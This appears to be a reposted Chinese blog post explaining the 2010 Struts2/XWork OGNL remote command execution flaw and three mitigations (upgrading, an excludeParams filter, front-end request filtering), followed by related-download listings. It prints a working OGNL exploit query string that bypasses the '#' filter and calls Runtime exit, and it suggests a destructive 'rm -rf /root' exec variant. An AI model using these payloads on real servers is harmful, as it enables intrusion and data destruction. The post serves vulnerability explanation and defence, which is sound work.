`
merrymode
  • 浏览: 55024 次
  • 性别: Icon_minigender_1
  • 来自: 上海
社区版块
存档分类
最新评论

struts2的安全漏洞及解决办法

阅读更多
转自:http://www.iteye.com/topic/720209

exploit-db网站在7月14日爆出了一个Struts2的远程执行任意代码的漏洞。
漏洞名称:Struts2/XWork < 2.2.0 Remote Command Execution Vulnerability
相关介绍:
•http://www.exploit-db.com/exploits/14360/
•http://sebug.net/exploit/19954/

Struts2的核心是使用的webwork框架,处理 action时通过调用底层的getter/setter方法来处理http的参数,它将每个http参数声明为一个ONGL(这里是ONGL的介绍)语句。当我们提交一个http参数:

Java代码
1.?user.address.city=Bishkek&user['favoriteDrink']=kumys 
?user.address.city=Bishkek&user['favoriteDrink']=kumys
ONGL将它转换为:

Java代码
1.action.getUser().getAddress().setCity("Bishkek")  
2.action.getUser().setFavoriteDrink("kumys") 
action.getUser().getAddress().setCity("Bishkek")
action.getUser().setFavoriteDrink("kumys")
这是通过ParametersInterceptor(参数过滤器)来执行的,使用用户提供的HTTP参数调用 ValueStack.setValue()。
为了防范篡改服务器端对象,XWork的ParametersInterceptor不允许参数名中出现“#”字符,但如果使用了Java的 unicode字符串表示\u0023,攻击者就可以绕过保护,修改保护Java方式执行的值:
此处代码有破坏性,请在测试环境执行,严禁用此种方法进行恶意攻击

Java代码
1.?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exit(1)')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1 
?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exit(1)')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1
转义后是这样:

Java代码
1.?('#_memberAccess['allowStaticMethodAccess']')(meh)=true&(aaa)(('#context['xwork.MethodAccessor.denyMethodExecution']=#foo')(#foo=new%20java.lang.Boolean("false")))&(asdf)(('#rt.exit(1)')(#rt=@java.lang.Runtime@getRuntime()))=1 
?('#_memberAccess['allowStaticMethodAccess']')(meh)=true&(aaa)(('#context['xwork.MethodAccessor.denyMethodExecution']=#foo')(#foo=new%20java.lang.Boolean("false")))&(asdf)(('#rt.exit(1)')(#rt=@java.lang.Runtime@getRuntime()))=1
OGNL处理时最终的结果就是
Java代码
1.java.lang.Runtime.getRuntime().exit(1); 
java.lang.Runtime.getRuntime().exit(1);
类似的可以执行
Java代码
1.java.lang.Runtime.getRuntime().exec("rm –rf /root") 
java.lang.Runtime.getRuntime().exec("rm –rf /root"),只要有权限就可以删除任何一个目录。
目前尝试了3个解决方案:

1.升级到struts2.2版本。
这个可以避免这个问题,但是struts开发团队没有release这个版本(包括最新的2.2.1版本都没有release),经我测试发现新版本虽然解决了上述的漏洞,但是新的问题是strus标签出问题了。

Java代码
1.<s:bean id="UserUtil" name="cn.com.my_corner.util.UserUtil"></s:bean>  
2.<s:property value="#UserUtil.getType().get(cType.toString())" /> 
<s:bean id="UserUtil" name="cn.com.my_corner.util.UserUtil"></s:bean>
<s:property value="#UserUtil.getType().get(cType.toString())" />
这样的标签在struts2.0中是可以使用的,但是新版中就不解析了,原因就是“#”的问题导致的,补了漏洞,正常的使用也用不了了。
所以sebug网站上的建议升级到2.2版本是不可行的。

2.struts参数过滤。

Java代码
1.<interceptor-ref name="params">  
2.<param name="excludeParams">.*\\u0023.*</param>  
3.</interceptor-ref> 
<interceptor-ref name="params">
<param name="excludeParams">.*\\u0023.*</param>
</interceptor-ref>
这个可以解决漏洞问题,缺点是工作量大,每个项目都得改struts配置文件。如果项目里,是引用的一个类似global.xml的配置文件,工作量相应减少一些。

3.在前端请求进行过滤。
比如在ngnix,apache进行拦截,参数中带有\u0023的一律视为攻击,跳转到404页面或者别的什么页面。这样做的一个前提就是没人把#号转码后作为参数传递。
请求如果是get方式,可以进行过滤,如果是post方式就过滤不到了,所以还是应该修改配置文件或更新新的jar包。
分享到:
评论
发表评论

文章已被作者锁定,不允许评论。

相关推荐

    Struts2低版本安全漏洞及解决办法

    Struts2低版本安全漏洞及解决办法 Struts2低版本安全漏洞及解决办法

    Struts2 安全漏洞解决方法

    Struts2 安全漏洞解析,距离上个版本发布仅仅过去1周,apache struts官网又发布struts2最新版本安全公告,主要修复了一个漏洞,代号S2-022:从漏洞简要描述来看,确定是对之前S2-021的补充。

    关于struts2漏洞问题及解决办法

    这篇博客文章“关于struts2漏洞问题及解决办法”可能详细探讨了Struts2框架中的一些关键安全问题,以及如何通过更新、配置优化或使用安全工具来应对这些问题。 首先,Struts2最臭名昭著的漏洞是S2-045,这是一个...

    struts2 最新漏洞 S2-016、S2-017修补方案 .docx

    最近,Struts2 发生了两个严重的漏洞,分别是 S2-016 和 S2-017,这两个漏洞可能会导致攻击者执行恶意代码,从而危害到网站的安全。 S2-016 漏洞是由于 Struts2 的 Ognl 表达式语言解析器存在缺陷,从而导致攻击者...

    Apache的Struts2框架严重安全漏洞

    这次提到的安全漏洞主要涉及Struts2的OGNL(Object-Graph Navigation Language)表达式语言。OGNL是一种强大的表达式语言,用于获取和设置对象的属性。然而,如果框架配置不当或者没有充分过滤用户输入,攻击者可以...

    struts2漏洞s2-045,不升级jar版本的修补方法,已验证.docx

    S2-045 漏洞是一个严重的安全漏洞,影响 Struts2 的多个版本,包括 2.3.5-2.3.31 和 2.5-2.5.102。该漏洞是由于 Struts2 中的 MultiPartRequestWrapper 类中的一个错误导致的,该错误可能会导致攻击者可以上传恶意...

    Struts2漏洞检查工具2017版

    然而,随着时间的推移,Struts2框架发现了一系列的安全漏洞,这些漏洞可能被恶意攻击者利用来执行任意代码,对系统安全构成严重威胁。本"Struts2漏洞检查工具2017版"正是针对这些问题而设计的,它包含了对多个已知...

    struts2 漏洞利用工具.rar

    解决方法是升级到不受影响的Struts2版本,并正确配置安全策略。 4. **检测工具**: 压缩包中的“struts2 漏洞利用工具”可能包括了自动化脚本或工具,用于扫描目标系统是否存在上述或其他Struts2漏洞。这些工具...

    Struts2漏洞利用工具2017版

    然而,随着其广泛应用,Struts2框架也暴露出一系列的安全漏洞,其中2017年的一些漏洞尤其引人关注。本工具集合了针对这些漏洞的利用工具,帮助安全研究人员和系统管理员识别和修复潜在问题。 首先,我们要了解的是...

    Struts2漏洞利用工具Devmode版

    然而,如同其他复杂的软件系统,Struts2在过去的几年中也发现了一系列的安全漏洞,这些漏洞可能导致远程代码执行、敏感信息泄露等问题,对企业的信息系统安全构成威胁。"Struts2漏洞利用工具Devmode版"就是针对这些...

    Struts2远程执行漏洞 Jar包集合体

    然而,随着时间的推移,Struts2框架发现了一系列的安全漏洞,这些漏洞可能导致远程代码执行(RCE)风险,使攻击者能够完全控制受影响的服务器。在给定的标题和描述中,提到了几个关键的Struts2漏洞,包括S2-057、S2-...

    Apache_Struts2漏洞(S2-045,CVE-2017-5638)

    然而,就像任何其他复杂的软件系统一样,Struts2也存在安全漏洞。其中,S2-045 和 CVE-2017-5638 是一个极其严重的问题,可能导致远程代码执行(RCE),进而让攻击者完全控制受影响的服务器。 S2-045 漏洞,官方...

    struts2-016/017漏洞解决

    然而,任何软件都可能存在安全漏洞,Struts2也不例外。"struts2-016/017漏洞"指的是两个在Struts2框架中被发现的安全问题,它们对使用该框架的应用程序构成了严重的威胁。 Struts2 S2-016漏洞,全称为“Struts2 ...

    struts2漏洞列表

    然而,Struts2在历史上存在一系列的安全漏洞,这些漏洞可能导致严重的安全风险,如远程代码执行、信息泄露等。以下是对几个重要漏洞的详细解释: 1. **S2-001 - OGNL注入漏洞** 这个漏洞主要由于Struts2的`...

    Struts2漏洞检测工具2018年8月版本

    然而,随着时间的推移,Struts2框架发现了一系列的安全漏洞,这些漏洞可能导致远程代码执行、敏感信息泄露等问题,对使用该框架的系统构成了严重威胁。2018年8月的"Struts2漏洞检测工具"正是为了帮助用户识别和修复...

    struts2.3.32与漏洞检测工具.rar

    然而,随着时间的推移,Struts2框架出现了一些安全漏洞,这些漏洞可能会被恶意攻击者利用,对应用程序的安全性构成威胁。"struts2.3.32与漏洞检测工具.rar"这个压缩包文件包含了两个关键部分,旨在帮助开发者处理...

    【2017版】Struts2漏洞检查工具

    标题提到的“2017版Struts2漏洞检查工具”是专门设计用于检测上述安全漏洞的实用程序。它能够帮助管理员和开发人员识别并修复他们的Struts2应用程序中存在的安全风险。通过运行这个工具,用户可以确保其应用免受恶意...

    Struts2漏洞检查工具2019版 V2.3.zip

    然而,随着时间的推移,Struts2框架发现了一系列的安全漏洞,这些漏洞可能被恶意攻击者利用,对服务器造成严重威胁。"Struts2漏洞检查工具2019版 V2.3.zip" 提供了一种自动化的方式来检测Struts2应用是否存在这些...

    struts2反序列化漏洞,存在s2-005、s2-016、s2-016_3、s2-017

    然而,这个框架的历史上存在一系列的安全漏洞,其中特别值得关注的是与反序列化相关的漏洞,如s2-005、s2-016、s2-016_3和s2-017。这些漏洞允许攻击者通过精心构造的输入,利用Struts2的内置机制执行任意代码,从而...

    jboss与struts漏洞解决

    《JBoss与Struts漏洞解决详解》 在信息技术领域,安全问题始终是不容忽视的关键环节。本文主要针对两个常见的漏洞——JBoss漏洞和Struts漏洞,详述其情况、影响以及解决方案,旨在帮助用户理解漏洞的危害并采取有效...

Global site tag (gtag.js) - Google Analytics